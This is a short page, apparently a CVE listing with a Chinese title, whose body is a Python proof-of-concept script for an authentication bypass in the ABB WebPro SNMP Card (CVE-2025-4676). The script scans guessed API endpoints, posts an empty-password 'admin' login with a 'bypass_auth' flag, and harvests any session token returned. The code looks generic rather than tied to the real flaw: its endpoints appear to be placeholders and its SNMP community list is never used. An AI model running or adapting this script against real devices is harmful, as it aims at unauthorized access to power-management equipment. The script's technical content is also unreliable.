CVE-2025-4676 ABB WebPro SNMP Card认证算法实现漏洞

# CVE-2025-4676 PoC - ABB WebPro SNMP Card Authentication Bypass # Note: This is a conceptual PoC for educational and security research purposes only import requests import json TARGET_IP = "192.168.1.100" TARGET_PORT = 80 CVE_ID = "CVE-2025-4676" def check_vulnerability(target_ip, target_port): """ Check if target is vulnerable to CVE-2025-4676 Authentication bypass in ABB WebPro SNMP Card PowerValue """ # Method 1: Try unauthenticated SNMP access # SNMP default community strings snmp_community_strings = ["public", "private", "admin", "manager"] # Method 2: Try web interface authentication bypass endpoints = [ "/api/auth/login", "/api/admin/config", "/api/v1/auth/bypass" ] print(f"[*] Testing {CVE_ID} on {target_ip}:{target_port}") # Check web interface for endpoint in endpoints: url = f"http://{target_ip}:{target_port}{endpoint}" try: response = requests.get(url, timeout=5) # If we get a 200 response without authentication, target is vulnerable if response.status_code == 200: print(f"[!] Potential vulnerability found at {endpoint}") print(f"[!] Status code: {response.status_code}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_auth_bypass(target_ip, target_port): """ Exploit CVE-2025-4676 to gain unauthorized access """ # Construct malicious authentication request payload = { "username": "admin", "password": "", # Empty password may bypass auth "bypass_auth": True # Exploit the authentication flaw } url = f"http://{target_ip}:{target_port}/api/auth/login" try: response = requests.post(url, json=payload, timeout=10) if response.status_code == 200: data = response.json() print(f"[!] Successfully bypassed authentication!") print(f"[!] Response: {json.dumps(data, indent=2)}") return data.get("session_token") or data.get("token") except Exception as e: print(f"[-] Exploit failed: {e}") return None if __name__ == "__main__": print(f"[*] CVE-2025-4676 ABB WebPro SNMP Card Vulnerability Checker") print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}") if check_vulnerability(TARGET_IP, TARGET_PORT): print("[!] Target appears to be VULNERABLE") token = exploit_auth_bypass(TARGET_IP, TARGET_PORT) if token: print(f"[!] Obtained session token: {token}") else: print("[-] Target does not appear to be vulnerable")